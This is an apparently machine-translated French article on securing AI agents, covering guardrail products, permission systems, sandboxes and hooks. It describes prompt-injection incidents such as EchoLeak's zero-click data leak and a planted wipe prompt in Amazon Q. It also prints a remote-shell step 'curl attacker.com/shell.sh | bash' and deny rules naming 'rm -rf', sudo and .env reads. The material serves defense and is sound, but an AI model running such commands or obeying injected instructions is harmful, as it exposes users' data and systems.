2026-04-20 · Mis à jour 2026-07-14

[!NOTE] Traduction automatique Cet article a été traduit automatiquement depuis la version originale en anglais.

AI Sécurité des agents en 2026 : garde-fous, permissions, Sandboxes, et menaces MCP

Quatrième partie de la série « Ingénierie de la pile Agentic »

Partie 3 Se termine à la frontière de l’outil : le modèle propose une action et l’outil renvoie une observation. Cet article insère une politique entre ces deux événements et suit l’action jusqu’aux identifiants, aux fichiers, aux réseaux ainsi qu’aux effets secondaires externes.

AI La sécurité des agents est plus large que LLM sécurité. Les premiers produits de type garde-fou examinaient les entrées et les sorties d’une seule invocation du modèle. Ils permettaient de filtrer le texte toxique, de masquer les données personnelles, d’empêcher les tentatives de contournement, ainsi que de rejeter les réponses hors sujet. Cette limite était utile tant que le modèle ne pouvait restituer que du texte.

Les boucles d’outils intègrent des systèmes de fichiers, des shells, des serveurs MCP ainsi que des identifiants. Cela élargit le modèle de menace, en passant d’un texte non sécurisé à des actions dangereuses. Les six incidents examinés ci‑dessous ne résultaient pas d’échecs que un filtre de sortie amélioré aurait pu éviter ; le système environnant avait déjà été compromis.

TL;DR : Les filtres de contenu analysent le texte entourant une appel à un modèle. La sécurité des agents contrôle également les tool calls proposés, les identifiants, les fichiers, l’accès au réseau ainsi que les effets secondaires irréversibles. Les incidents décrits dans cet article se sont produits en dehors des limites que peut imposer un filtre de texte. Une pile de politiques pratique combine des permissions, des points d’ancrage préalables aux outils, les sandboxes du système d’exploitation, une escalade par un intervenant humain, des identifiants ciblés et une traçabilité des audits.

AI pile de sécurité pour agents

La pile technique pratique de 2026 n’est pas constituée d’une seule contrainte. Il s’agit plutôt d’un ensemble de limites définissant le cadre du cycle.

La règle d’application est simple : les filtres de contenu déterminent si le modèle a émis des contenus dangereux ; la sécurité des agents, quant à elle, vérifie si le système a l’autorisation d’exécuter l’étape suivante.

Les filtres de contenu gérés s’appliquent à la couche de texte. Les autres contrôles relèvent de la politique d’application, de l’identité et de l’infrastructure.

Pourquoi la sécurité des agents AI diffère de la sûreté LLM

Bharani Subramaniam et Martin Fowler ont établi les bases de cette approche au début de 2025. Modèles émergents dans la conception de produits d’IA générative. Leur observation était étroite et directe :

« Avec les systèmes traditionnels, nous pouvions évaluer la correction principalement par le biais des tests… Avec des systèmes basés sur LLM, nous sommes confrontés à un système qui ne se comporte plus de manière déterministe. »

L’évaluation des sorties permet de déterminer si la réponse d’un modèle répond aux critères prévus dans une grille d’évaluation. Un modèle de menace pour agent doit également prendre en compte tool calls, les commandes shell, les écritures de fichiers, les identifiants d’accès ainsi que les requêtes réseau. Ces actions franchissent des limites que un correcteur de sorties ne peut pas imposer.

Simon Willison a introduit la notion de forme du risque spécifique à l’agent en juin 2025 avec le trifecta létale:

Le trio mortel de capacités est le suivant : l’accès à vos données privées, l’exposition à du contenu non fiable, ainsi que la possibilité de communiquer en externe d’une manière qui pourrait être exploitée pour voler vos données. Si votre agent intègre ces trois fonctionnalités, un attaquant peut facilement le tromper afin qu’il accède à vos données privées et les envoie à cet attaquant.

De nombreux agents utiles combinent ces capacités : l’accès à la boîte de réception, la récupération d’informations sur le Web et un outil de messagerie ; ou encore l’accès à un dépôt, la lecture des problèmes et l’envoi de demandes de fusion. Un mécanisme de protection du contenu vérifie si le modèle a généré du texte dangereux. La stratégie « trifecta » sert à déterminer si une entrée non fiable peut amener le système à divulguer des données par le biais d’une action autorisée.

La version structurée du même argument se trouve dans le préprint Parallax de Joel Fokou (arXiv 2604.12986, Soumis le 14 avril 2026 (sans avoir fait l’objet d’une revue par les pairs). L’affirmation principale :

« Le système qui raisonne sur les actions doit être structurellement incapable de les exécuter, et le système qui exécute les actions doit être structurellement incapable de raisonner à leur sujet, un validateur indépendant et immuable étant interposé entre les deux. »

Vous n’êtes pas obligé d’accepter les scores d’évaluation du papier pour examiner son aspect structurel. Plusieurs frameworks actuels mettent en œuvre des parties de cette même séparation :

• Les hooks PreToolUse de Claude Code
• L’exécuteur encapsulé dans un environnement OS de Codex CLI (bubblewrap/seccomp sous Linux)
• Le coffre-fort à identifiants des agents gérés, situé en dehors de sandbox
• Les jetons liés à un public spécifique selon le RFC 8707 de MCP

Ces systèmes maintiennent le jugement du modèle derrière une frontière d’exécution déterministe. Les mécanismes de contrôle spécifiques varient, mais la composante chargée d’exécuter une commande ne s’appuie pas sur l’avis du modèle quant à la sécurité de cette commande.

Il existe une discipline complémentaire que Alessandro Pignati a décrite de la manière la plus concise dans Janvier 2026: le Principe du Moindre Pouvoir d’Agence. Le principe du moindre privilège se demande quel accès cette identité peut-elle obtenir ? ; le principe du moindre pouvoir d’agence, quant à lui, s’interroge quelles décisions cet agent est autorisé à prendre ? Les privilèges restreignent les identifiants ; le pouvoir d’agence, lui, limite l’étendue des actions possibles même lorsque ces identifiants sont valables. La liste des 10 principaux risques d’OWASP pour les applications Agentic considère un pouvoir d’agence excessif comme l’un des défauts majeurs relevant de cette catégorie. Le principe du moindre pouvoir d’agence constitue donc la discipline de conception permettant de prévenir ce problème. Un agent capable de résumer votre boîte de réception n’a probablement pas besoin des droits de mise à jour nécessaires pour accéder à votre monorepo. Pourtant, nous continuons de découvrir des configurations où c’est bien le cas.

Quelles sont les contraintes couvertes par LLM

Les mécanismes de contrôle LLM assurent une surveillance efficace tout au long de l’appel au modèle. Ils analysent les données d’entrée, le texte récupéré ainsi que la sortie, puis bloquent, masquent, corrigent ou signalent les contenus qui ne respectent pas une règle prédéfinie. Les solutions présentées ci‑dessous diffèrent en termes de déploiement et de portée, mais aucune ne remplace la vérification d’autorisation effectuée avant un tool call.

NVIDIA NeMo Guardrails

Le plus rigide : une orchestration framework couvrant cinq types de flux (entrée, dialogue, récupération, exécution, sortie), dotée de son propre DSL — Colang, un langage inspiré de Python destiné aux flux de dialogue, aux intentions utilisateur et aux messages de bots. Il est possible de gérer les aspects fondamentaux à l’aide de Python + YAML, mais une logique de dialogue plus avancée est écrite en Colang — d’où l’appellation « rigide ». Documentation disponible à docs.nvidia.com/nemo/guardrails.

from nemoguardrails import LLMRails, RailsConfig

config = RailsConfig.from_path("./config")
rails = LLMRails(config)
response = rails.generate(
    messages=[{"role": "user", "content": "Hello"}]
)

NeMo’s repo Il précise clairement son modèle de menaces : « des vulnérabilités courantes LLM, telles que les jailbreaks et les injections prompt. » Il est tout aussi explicite quant à son champ d’application : « Les mécanismes de contrôle intégrés peuvent être adaptés ou non à un cas d’usage en production donné… les développeurs doivent collaborer avec leur équipe interne chargée des applications afin de s’assurer que ces mécanismes répondent aux exigences. » En pratique, cela signifie que NeMo surveillera ce que le modèle dit. Ce que l’agent fait (quels outils il invoque, quels arguments il transmet, ce qu’il lit depuis le système de fichiers) relève de votre responsabilité.

Meta Llama Guard 4

Un classificateur de contenu pur de 12 milliards de paramètres, obtenu par prunage de Llama-4-Scout, aligné sur la taxonomie des risques MLCommons (13 catégories de dommages ainsi que l’abus lié à l’interpréteur de code, conformément à carte de modèle). Meta est inhabituellement transparente quant à ses limites :

« Certaines catégories de risques peuvent nécessiter des connaissances factuelles et à jour afin d’être évaluées de manière exhaustive… Enfin, en tant que LLM, Llama Guard 4 peut être vulnérable aux attaques adversariales ou aux attaques prompt injection capables de contourner ou de modifier son usage prévu : consultez Llama Prompt Guard 2 pour détecter les attaques prompt. »

Meta propose un produit distinct afin de protéger son classificateur de contenu contre prompt injection. Si cette phrase donne l’impression d’une reconnaissance explicite de la vulnérabilité, c’est bien le cas.

Contraintes de sécurité AI

Un registre de validateurs. Vous configurez plus de 60 validateurs Hub (données PII via Presidio, JailbreakDetect, CompetitorCheck, vérifications de provenance) dotés de modes d’échec. raise | fix | filter | refrain | reask | noop (guardrailsai.com). Il n’existe pas de modèle de menace unifié ; la couverture correspond à l’union des validateurs installés. Avantage : une couverture flexible en fonction des validateurs que vous choisissez. Inconvénient : aucune protection en dehors des validateurs que vous installez.

Lakera Guard

Le SaaS actuel API, entraîné à l’aide de dizaines de millions d’échantillons d’attaques collectés depuis Gandalf. Les promesses stipulent un contrôle des entrées et des sorties afin de détecter les attaques de type prompt … ainsi que toute fuite de données. La version gratuite autorise 10 000 requêtes par mois ; les tarifs destinés aux entreprises restent quant à eux peu transparents.

Garde-fous AWS Bedrock

La valeur par défaut pour les environnements d’entreprise si vous utilisez déjà Bedrock. ApplyGuardrail fonctionne avec n’importe quel modèle, qu’il s’agisse de Bedrock ou non :

import boto3

brt = boto3.client("bedrock-runtime")
resp = brt.apply_guardrail(
    guardrailIdentifier="gr-xxxxxxxxxxxx",
    guardrailVersion="2",
    source="INPUT",
    content=[{"text": {"text": "user question",
                        "qualifiers": ["guard_content"]}}],
)

Publié tarification: 0,15 $par 1 000 unités de texte pour les filtres de contenu ou les sujets interdits, 0,10$ pour les filtres de PII ou l’ancrage contextuel. Une unité de texte correspond à une longueur maximale de 1 000 caractères.

Sécurité du contenu Azure AI

Déploie des Prompt Shields en tant qu’interface unique capable de « détecter et bloquer les attaques par entrée utilisateur malveillante… ainsi que les menaces directes et indirectes ». Azure propose également candid: « Vous ne pouvez pas utiliser la fonctionnalité de sécurité du contenu d’Azure AI pour détecter les images illégales d’exploitation d’enfants », et la qualité multilingue est limitée à huit langues évaluées.

Modération d’OpenAI et garde-fous d’OpenAI

omni-moderation-latest Il s’agit de la base de référence multimodale gratuite. Par ailleurs, openai-guardrails-python documents correspondants guardrails.openai.com) La réponse d’OpenAI pour framework est-elle un pipeline en trois étapes (pré-départ, entrée, sortie) comprenant une détection de jailbreak, une détection d’hallucinations grâce à FileSearch, une analyse des contenus NSFW et PII via Presidio, ainsi qu’un LLM agissant en tant que juge ? GuardrailAgent les liaisons vers les agents SDK.

from guardrails import GuardrailsOpenAI, GuardrailTripwireTriggered

client = GuardrailsOpenAI(config="guardrail_config.json")
try:
    resp = client.responses.create(model="gpt-5", input="...")
except GuardrailTripwireTriggered as e:
    print(f"blocked: {e}")

La frontière commune

Deux observations valables pour les sept cas.

Tout d’abord, les données publiées concernant la latence et le débit sont très limitées. Bedrock, Azure et Lakera communiquent bien les tarifs, mais ne fournissent aucune garantie quant à la latence dans les scénarios les plus défavorables. Meta, de son côté, ne propose aucune garantie concernant l’endpoint hébergé pour Llama Guard. NVIDIA, elle, distribue NeMo Guardrails sous forme de logiciel que l’on doit héberger soi-même ; par conséquent, la latence dépend du modèle ainsi que de l’infrastructure utilisée. Il convient donc de mesurer chaque vérification synchrone sur le chemin critique, plutôt que d’en déduire le coût à partir des prix des produits.

Deuxièmement, et c’est là l’essentiel de cet article, aucun de ces produits ne prétend couvrir la politique de couche d’appel d’outils, l’authentification MCP, l’exfiltration en plusieurs étapes à travers le contenu récupéré, le détournement des objectifs de l’agent via des fichiers de configuration, ou encore l’exécution de code qui a lieu avant même que le modèle ne soit invoqué. Ils se contentent de filtrer les tokens. Les agents agissent en dehors du flux de génération du modèle, dans le tool calls, les fichiers et le réseau, où aucun classificateur de tokens ne peut les détecter.

AI Menaces de sécurité pour les agents : six incidents et le classement OWASP ASI Top 10

À partir de la mi-2025, la distinction entre le filtrage du texte et la protection de l’exécution a cessé d’être purement théorique. Les six incidents présentés ci‑dessous ont concerné la récupération de données, la configuration, les identifiants, l’installation de paquets ou l’exécution dans un environnement CI. Un classificateur de contenu peut encore détecter une chaîne de caractères suspecte, mais les mécanismes de contrôle qui bloquent directement ces chemins se trouvent au niveau des outils, des identités, de sandbox, ainsi que des limites de la chaîne d’approvisionnement.

EchoLeak — CVE-2025-32711, CVSS 9.3

Révélé par Aim Labs en juin 2025 contre Microsoft 365 Copilot, le rapport technique correspondant est désormais disponible sur Cato Networks – qui a intégré l’équipe de recherche d’Aim Security – sous la plume d’Itay Ravia, ancien directeur d’Aim Labs.rapport de synthèse). Un e-mail habilement rédigé, formulé sous forme d’instructions destinées au destinataire humain, a réussi à contourner XPIA (le filtre intégré de Microsoft qui détecte les attaques d’insertion de prompt dans les entrées de Copilot). De là, il a été intégré à la couche de récupération de Copilot – la partie du système qui cherche parmi vos documents des éléments contextuels pour générer des réponses – grâce à une technique que les chercheurs appellent RAG-spraying : l’attaquant diffuse la même instruction malveillante dans de nombreux documents indexés, ce qui garantit presque systématiquement que l’un d’eux sera inclus dans le contexte du modèle. Une fois à l’intérieur, Copilot a intégré de manière automatique les données les plus sensibles de la session dans un lien Markdown menant à une image hébergée sur un domaine contrôlé par l’attaquant. La prévisualisation de Teams API, fonctionnant sur un domaine déjà considéré comme fiable selon les politiques de navigateur de Microsoft, a chargé automatiquement l’URL de cette image, transmettant ainsi les données à l’attaquant. Aucun clic nécessaire. Aim Labs a désigné ce type d’attaque comme une “LLM Scope Violation” : le modèle enfreint une limite qu’il n’était pas censé franchir, en utilisant uniquement des opérations que chaque système considère comme légitimes.

Chaque étape semblait légitime isolément. L’e-mail était destiné à un humain. La récupération a extrait le document prévu. Le lien Markdown s’est affiché comme les liens Markdown le font habituellement. La récupération de l’image a ciblé un domaine figurant sur la liste des domaines autorisés. XPIA n’avait rien à signaler, car rien, pris individuellement, ne justifiait une alerte. Le système avait été compromis. Le modèle, lui, non.

Amazon Q Developer VS Code v1.84.0 — Juillet 2025

AWS a distribué une version compromise après qu’un attaquant ait inséré un fichier système malveillant-prompt à l’aide d’un token GitHub CodeBuild aux droits trop étendus.conseil). Le code prompt injecté indiquait à l’agent de « nettoyer un système jusqu’à un état proche de celui d’usine et de supprimer les ressources du système de fichiers ainsi que celles dans le cloud ». Une erreur de syntaxe a empêché son exécution en temps réel sur les ~950 000 installations. AWS a révoqué les identifiants d’accès, supprimé ce code et a publié la version v1.85.0. Le payload a échoué en raison d’une erreur de syntaxe, et non parce qu’un mécanisme de contrôle de sécurité l’a bloqué.

Serveur Azure MCP — CVE-2026-32211, CVSS 9.1

Le cas le plus flagrant d’une couche mal positionnée. flux CVE Il enregistre cela sous la forme « Authentification manquante pour une fonction critique sur le serveur Azure MCP, ce qui permet à un attaquant non autorisé de divulguer des informations via le réseau. » Le MCP SDK ne dispose pas d’authentification intégrée ; ce serveur a oublié d’en ajouter une. Aucun filtre de contenu n’est jamais activé, car le modèle n’intervient pas dans le processus. L’attaquant communique directement avec l’outil.

Claude Code CVE-2025-59536 — CVSS 8.7

La vulnérabilité canonique d’agent-configuration-trust. Aviv Donenfeld et Oded Vanunu de Check Point dévoilé que les « configurations définies par le repository » définies via .mcp.json et .claude/settings.json les fichiers pourraient être exploités par un attaquant afin de contourner l’approbation explicite de l’utilisateur… en définissant le enableAllProjectMcpServers « Option à true. »

La chaîne d’attaque mérite d’être analysée pas à pas :

1. La victime clone un dépôt non fiable.
2. Un SessionStart Le hook s’exécute. curl attacker.com/shell.sh | bash Entièrement avant l’apparition du dialogue de confiance de Claude Code.
3. .mcp.json Il approuve automatiquement les serveurs non fiables MCP.
4. ANTHROPIC_BASE_URL (Lien avec le CVE-2026-21852, CVSS 5.3) ce vulnérabilité redirige en silence toutes les requêtes Claude API, y compris les tokens Bearer, vers un hôte contrôlé par l’attaquant.

Corrigé dans Claude Code 1.0.111 et 2.0.65 respectivement (avertissement). GHSA-ph6w-f82w-28w6). Le résumé de Check Point est celui à retenir : « les défenses prompt injection traditionnelles… ne fournissent aucune protection. » Le code de l’attaquant s’exécute sur votre machine (ce que les spécialistes de la sécurité appellent l’exécution de code à distance, ou RCE), bien avant que le modèle ne soit jamais appelé.

Axios 1.14.1 — 31 mars 2026

Gestionnaire jasonsaayman Lors de l’analyse post-mortem : _« Deux versions malveillantes d’axios (1.14.1 et 0.30.4) ont été publiées dans le registre npm via mon compte compromis. Ces deux versions injectaient une dépendance nommée » plain-crypto-js@4.2.1 « qui a installé un cheval de Troie d’accès distant sur macOS, Windows et Linux ». Un cheval de Troie d’accès distant est un logiciel malveillant qui ouvre discrètement une porte dérobée, permettant à l’attaquant d’exécuter des commandes, de lire des fichiers et de surveiller ce que l’utilisateur tape depuis un autre endroit sur Internet. Fenêtre d’exposition : environ trois heures. Attribution : UNC1069 (Sapphire Sleet) selon le groupe de renseignement sur les menaces de Google. Chaque agent de codage qui s’est trouvé à être exécuté npm install Dans cette fenêtre, l’entrée du backdoor a été effectuée. Le modèle n’a jamais été impliqué. Dans ce type d’incident, la cause réside dans l’exécution de la chaîne d’approvisionnement, et non dans le comportement du modèle.

Vol de balises d’actions Trivy — GHSA-69fq-xp46-6x23, 19 mars 2026

Un attaquant a réécrit 76 des 77 étiquettes de version dans aquasecurity/trivy-action — le répertoire que d’innombrables outils CI pipelines utilisent pour le balayage de sécurité — afin que les étiquettes pointent désormais vers du logiciel malveillant capable de voler des identifiants plutôt que vers le véritable code de Trivy. Ils ont remplacé les 7 étiquettes existantes. setup-trivy De la même manière, et un déploiement a été effectué. v0.69.4 binaire qui a extrait des variables d’environnement (mots de passe, clés API, jetons — c’est‑à‑dire les éléments contenus dans /proc/<pid>/environ sur Linux) directement depuis les exécutants GitHub ActionsAlerte Aqua). Tout agent de codage qui a été exécuté npm install ou une étape de scan de sécurité exécutée automatiquement pendant cette fenêtre pour déclencher le payload, car les agents font confiance aux balises de la même manière que les humains, c’est‑à‑dire entièrement.

Le classement OWASP ASI Top 10, édition 2026

OWASP (le projet mondial ouvert pour la sécurité des applications, organisation à but non lucratif à l’origine de la liste canonique des 10 principales vulnérabilités web sur lesquelles se basent la plupart des programmes de sécurité) s’y attendait. Son initiative de sécurité Agentic est un groupe de travail axé spécifiquement sur les agents pilotés par LLM, et le 9 décembre 2025, il a publié le Agentic Les 10 meilleures initiatives de sécurité pour 2026: un catalogue classé des dix catégories de vulnérabilités qui distinguent les systèmes d’agents des applications LLM classiques.

Cette liste mérite d’être lue avec attention. Elle s’appuie sur les zones où se concentrent les incidents du monde réel, en les croisant avec ceux que la communauté de la sécurité identifie comme les modes de défaillance les plus critiques dans les déploiements d’agents en production. Considérez-la comme une liste de contrôle indiquant ce qu’un modèle de menace pour les agents modernes doit couvrir :

Les filtres de contenu peuvent contribuer aux risques ASI01 et ASI06. Les autres catégories exigent des mécanismes de contrôle en matière d’identité, de politique d’outils, de gestion de la mémoire, d’orchestration, de surveillance ou de gestion de la chaîne d’approvisionnement. EchoLeak correspond au risque ASI01. Amazon Q correspond aux risques ASI04 et ASI02. Azure MCP représente le risque ASI03. Claude Code CVE-2025-59536 englobe les risques ASI05, ASI04 et ASI03. Axios et Trivy relèvent du risque ASI04. Cette correspondance illustre pourquoi le modèle de menace doit aller au-delà des seules entrées et sorties du modèle.

Les permissions constituent une infrastructure, et non prompt

Il s’agit de la phase où les mécanismes de contrôle cessent d’être un produit à part entière pour devenir un sous-système au sein d’un harness. Trois systèmes disponibles en avril 2026 (OpenAI Agents SDK, Codex CLI et Claude Code) illustrent réellement à quoi ressemble l’interface de gestion des politiques en environnement de production. Tous trois appliquent les règles d’autorisation directement au niveau du code. Aucun d’eux ne dépend du fait que le modèle se montre prudent.

Agents OpenAI SDK

Le SDK sépare le harness du compute. Les outils hébergés MCP prennent require_approval — une chaîne de caractères"always" / "never") ou un dictionnaire par outil — en plus d’un on_approval_request callback déclenché lorsque l’accès à une outil est restreint. Filtrage fin des outils (tool_filter) est disponible sur les variantes du serveur local.MCPServerStdio, MCPServerStreamableHttp, MCPServerSse) si vous en avez besoin :

from agents import Agent, HostedMCPTool

agent = Agent(
    name="Ops",
    tools=[HostedMCPTool(
        tool_config={
            "type": "mcp",
            "server_label": "github",
            "server_url": "https://mcp.example.com",
            "require_approval": {"delete_repo": "always",
                                  "list_issues": "never"},
        },
        on_approval_request=lambda r:
            "approve" if r.tool_name == "list_issues" else "reject",
    )],
)

Le callback de validation est du code. La politique de validation par outil est également du code. Vous pouvez lire ce fichier, le tester ou effectuer des comparaisons diff à son égard. Rien de tout cela ne s’applique à un system prompt indiquant « veuillez faire preuve de prudence en environnement de production ».

Codex CLI et la couche de politiques gérées

le framework de codage harness d’OpenAI fournit configuration gérée fichier que les services informatiques distribuent aux Mac des employés via leur système de gestion de dispositifs (même mécanisme qu’ils utilisent pour installer des certificats ou des paramètres VPN). Le fichier se trouve à /etc/codex/requirements.toml et agit comme une couche de contrainte stricte — des règles que les paramètres au niveau du projet ne peuvent pas surcharger, quel que soit le contenu de la configuration personnalisée définie par le développeur :

[[rules.prefix_rules]]
pattern = [{ token = "rm" }, { any_of = ["-rf", "-fr"] }]
decision = "forbidden"
justification = "Recursive force-delete prohibited by IT policy"

Deux détails de conception. prefix_rules.decision n’accepte que "prompt" ou "forbidden", jamais "allow". Un projet ne peut pas s’accorder une autorisation que la couche gérée interdit. De plus, les listes d’autorisation MCP sont indexées tant par le nom que par l’identité (chaîne de commande ou URL), de sorte qu’un projet ne peut pas prétendre être github-mcp et pointer vers le serveur de l’attaquant.

L’échelle de permissions de Claude Code

Claude Code publie un ordre d’évaluation à six étapes pour chaque tool call (documentation): deny → ask → PreToolUse hooks → allow → mode → canUseTool. Les hooks ont un rang supérieur aux modes, et un permissionDecision: "deny" from a hook bloque l’exécution même en situation de bypassPermissions.

Modes de cycle default → acceptEdits → plan avec la combinaison Maj+Tab. auto, bypassPermissions, et dontAsk Il s’active dans des conditions d’entrée spécifiques que la couche de politique gérée par l’entreprise peut bloquer. Il ne s’agit pas simplement de vérifier la correction d’un fichier de configuration ; il s’agit plutôt d’une machine à états dotée de règles de priorité, publiées afin que l’équipe de sécurité puisse en déduire les comportements attendus.

Trois rayons d’explosion dans un seul fichier

Voici la structure d’une configuration de permissions de type Codex comprenant trois profils :

# ~/.codex/config.toml
approval_policy = "auto"
sandbox_mode = "workspace-write"

[profiles.ci]
approval_policy = "read-only"
sandbox_mode = "read-only"

[profiles.release]
approval_policy = "full-access"
sandbox_mode = "workspace-write"

[mcp_servers.github]
command = "gh-mcp"
args = ["--readonly"]

Trois profils, trois rayons d’explosion, sans aucun prompt indiquant à l’agent de faire preuve de prudence. Lorsque l’agent tente d’exécuter une action en dehors de son profil, le mécanisme de contrôle au niveau du système d’exploitation sandbox refuse cette action. Sur macOS, on recourt à des mécanismes similaires aux ceintures de sécurité ; sous Linux, on utilise à la fois des enveloppes de protection et des règles seccomp ; tandis que sous Windows, ce sont des jetons restreints qui interviennent. L’opinion du modèle n’a aucune influence sur ce processus.

La mise en œuvre de Sandbox relève de la responsabilité du noyau du système d’exploitation

Le noyau effectue réellement le travail ici. Chaque système d’exploitation vous fournit un ensemble d’outils différent, et les deux CLI n’accèdent pas toujours à la même composante :

Ils s’accordent sur le cas où le système d’exploitation propose une seule option (ceinture de sécurité ou enveloppe en mousse), mais divergent lorsqu’il en offre plusieurs. Claude Code passe outre Windows et vous redirige vers WSL2. Quant à Codex, il fournit une version native pour Windows sandbox. Dans tous les cas, la mise en œuvre se fait au niveau du noyau, et non au sein du modèle.

Le mécanisme de chemins Linux de Codex empile quatre verrous au niveau du noyau : PR_SET_NO_NEW_PRIVS (le processus ne peut en aucun cas obtenir des privilèges supplémentaires, même s’il le tente), un filtre seccomp (le noyau refuse catégoriquement la plupart des appels système ; dans ce cas, tout ce qui ouvre un socket réseau à l’exception des sockets Unix locaux), un environnement isolé vierge /proc (le processus ne peut pas accéder au reste de la machine), et RLIMIT_CORE=0 (Il n’y a pas de dumps de crash, donc rien ne s’échappe par ce biais.) Windows fonctionne en deux modes, unelevated (un processus à tokens restreints qui perd ses privilèges tout en continuant à s’exécuter en tant qu’utilisateur) et elevated (a utilisateur dédié sandbox isolé derrière des règles de pare-feu), ainsi que de petits exécutables fictifs placés en amont sur le système PATH Ainsi, l’agent tente de s’exécuter. curl ou wget Le modèle cible l’intercepteur au lieu de l’outil réel. Une véritable sous-discipline d’ingénierie est dédiée à ce domaine, sans que le modèle n’intervienne jamais. C’est là que se trouve le véritable travail.

Options d’isolation en dehors de Claude Code et Codex

Lorsque vous développez votre propre agent, « sandbox » s’avère être un terme générique qui englobe diverses approches. Les solutions open source se situent sur un spectre allant de simples enveloppes de noms d’espace légers jusqu’à des microVM complètes ; le choix dépend du degré de confiance que vous accordez au code qui s’exécute à l’intérieur.

Isolation des processus légers — même noyau, moins de privilèges :

• enveloppe à bulles — un enveloppeur namespace-plus-seccomp. C’est l’outil utilisé par Flatpak, ainsi que celui auquel recourt Claude Code sous Linux. Rapide, peu coûteux, idéal pour des outils de confiance.
• Les conteneurs Docker / OCI standards — isolation via des namespaces sur un noyau hôte partagé. Ce n’est pas un sandbox pour du code non fiable ; les propres documents de gVisor le précisent clairement (“les conteneurs ne constituent pas un sandbox”). Ils constituent un point de départ raisonnable lorsqu’ils sont associés à seccomp et AppArmor, mais rien de plus.

Isolation application-noyau — l’agent communique avec un noyau fictif :

• gVisor — Le noyau en espace utilisateur de Google. Votre conteneur croit se trouver sous Linux, tandis qu’une implémentation basée sur Go intercepte les appels système. Cela diminue l’exposition directe entre l’hôte et le noyau sans nécessiter une VM invitée, mais entraîne des compromis en termes de compatibilité et de performances.

Isolation complète de la VM — un noyau dédié par sandbox :

• pétard — La technologie microVM d’AWS, c’est la même chose qui fait fonctionner Lambda. Temps de démarrage en froid d’environ 125 ms. Chaque sandbox dispose de son propre noyau Linux intégré à KVM. Une fuite de noyau au sein d’un sandbox n’affecte ni l’hôte ni les autres instances similaires. Kata Containers — UX de conteneur, isolation au niveau des machines virtuelles. C’est là que les clusters Kubernetes se tournent lorsqu’ils doivent exécuter du code non fiable.

Plateformes — ce que vous loueriez plutôt que de le développer :

• E2B encapsule Firecracker au sein d’un sandbox API hébergé. OpenSandbox d’Alibaba il vous permet de choisir votre runtime — gVisor, Kata ou Firecracker — derrière un SDK.
• Microsoft’s Kit d’outils de gouvernance des agents (Mit licencié, avril 2026) ajoute en surcouche un moteur de politique runtime. Grâce à une application en sous-milliseconde, il cible directement les 10 menaces majeures de l’OWASP ASI.

Choisissez le niveau d’isolation en fonction du niveau de confiance du code, des limites propres à chaque utilisateur, de l’accès réseau, des données hébergées et des coûts de récupération. Les contrôles basés sur les noms de domaine ainsi que ceux mis en œuvre via seccomp conviennent aux outils internes fiables. Le code généré par LLM ainsi que les paquets non fiables exigent une barrière plus robuste, telle que gVisor, Kata ou une microVM, suivie de tests visant à identifier les voies d’échappement et d’exfiltration au sein de votre propre modèle de menaces.

Claude Code et Codex proviennent du même menu que tous les autres outils. Ils se distinguent simplement par leur présentation différente.

Les hooks PreToolUse en tant que politiques programmables

Les modes et les listes d’autorisation gèrent les cas simples : « autoriser l’agent à modifier des fichiers mais pas à exécuter bash », « refuser tout ce qui ressemble à » rm -rfElles échouent lorsque votre politique nécessite une logique réelle. Vous souhaitez bloquer git push uniquement lorsque la branche est main. Vous souhaitez bloquer toute modification affectant un fichier correspondant à une expression régulière secrète. Vous voulez également limiter le nombre d’appels à la shell par session, ou rediriger chaque invocation d’outil vers votre journal d’audit central (le SIEM, c’est‑à‑dire le système de gestion des informations et des événements de sécurité que votre équipe de sécurité surveille déjà).

Rien de tout cela ne peut être intégré dans une liste d’autorisation statique. C’est précisément à cela que servent les hooks : des commandes shell que Claude Code exécute à des moments précis du cycle de vie des appels à l’outil, lui permettant d’examiner l’appel en attente et de retourner une réponse structurée indiquant autorisation ou refus. Claude Code expose une douzaine d’événements liés au cycle de vie (la liste complète se trouve dans la documentation), et l’un d’eux réorganise tout le reste : un PreToolUse hook qui renvoie permissionDecision: "deny" Il bloque une outil quel que soit le mode.

Voici la structure des paramètres :

{
    "permissions": {
        "defaultMode": "acceptEdits",
        "deny": ["Bash(rm -rf:*)", "Bash(sudo:*)", "Read(.env*)"]
    },
    "hooks": {
        "PreToolUse": [
            {
                "matcher": "Bash",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/pre-bash-firewall.sh"
                    }
                ]
            },
            {
                "matcher": "Edit|Write",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/protect-paths.sh"
                    }
                ]
            }
        ]
    }
}

Un hook peut être un script shell de cinq lignes ou un moteur de politiques complet. C’est la forme du résultat qui importe :

{
    "hookSpecificOutput": {
        "permissionDecision": "deny",
        "permissionDecisionReason": "writes outside workspace prohibited"
    }
}

Le modèle perçoit un refus structuré. Le reasoning loop provenant de Partie 1 Il le traite comme n’importe quelle autre observation issue d’une outil : le refus devient du contexte, l’agent replanifie, et la boucle se poursuit. C’est cette raison, petite mais cruciale, pour laquelle je persiste à affirmer que les permissions constituent une infrastructure fondamentale. Elles sont intégrées au même mécanisme qui gère les erreurs 500 provenant d’un outil HTTP. Il ne s’agit pas d’un flux de travail de sécurité distinct qui devrait être ajouté en annexe.

Un anti-modèle courant consiste à écrire un system prompt stipulant « ne supprimez aucun fichier sans confirmation explicite de l’utilisateur », à déployer l’agent, puis à compter sur cette instruction comme mécanisme de contrôle. Un prompt ou une sortie de outil corrompue peut contourner cette directive. Le modèle n’est pas un moteur de politiques ; il se contente de reconnaître le schéma que vous avez défini ou celui fourni par un attaquant.

L’approbation humaine ne sert qu’à déclencher une escalade

La couche de filtrage du contenu s’exécute en parallèle du modèle et surveille ce que celui-ci produit. Les hiérarchies de permissions interviennent avant l’utilisation de l’outil et contrôlent les actions qu’il tente d’effectuer. La troisième couche, celle qui permet de détecter ce que les deux premières ont manqué, est constituée par un intervenant humain. Lorsqu’elle fonctionne correctement, le mécanisme HITL sert de canal d’escalade ; en revanche, lorsqu’il est mal implémenté, il ne représente qu’une boîte de dialogue que l’on clique pour la fermer dans 93 % des cas.

LangGraph fournit la primitive de pause/reprise. HumanLayer encapsule le canal d’approbation, et les données d’utilisation d’Anthropic illustrent pourquoi il est indispensable de mesurer le nombre ainsi que la qualité des escalades.

Le primitif LangGraph

de LangGraph interrupt() + Command(resume=value) Pause un graphe, persiste son état au moyen du checkpointer configuré, puis reprend son exécution avec une valeur fournie par l’opérateur. Trois critères d’exécution permettent de déterminer si cette reprise est sûre :

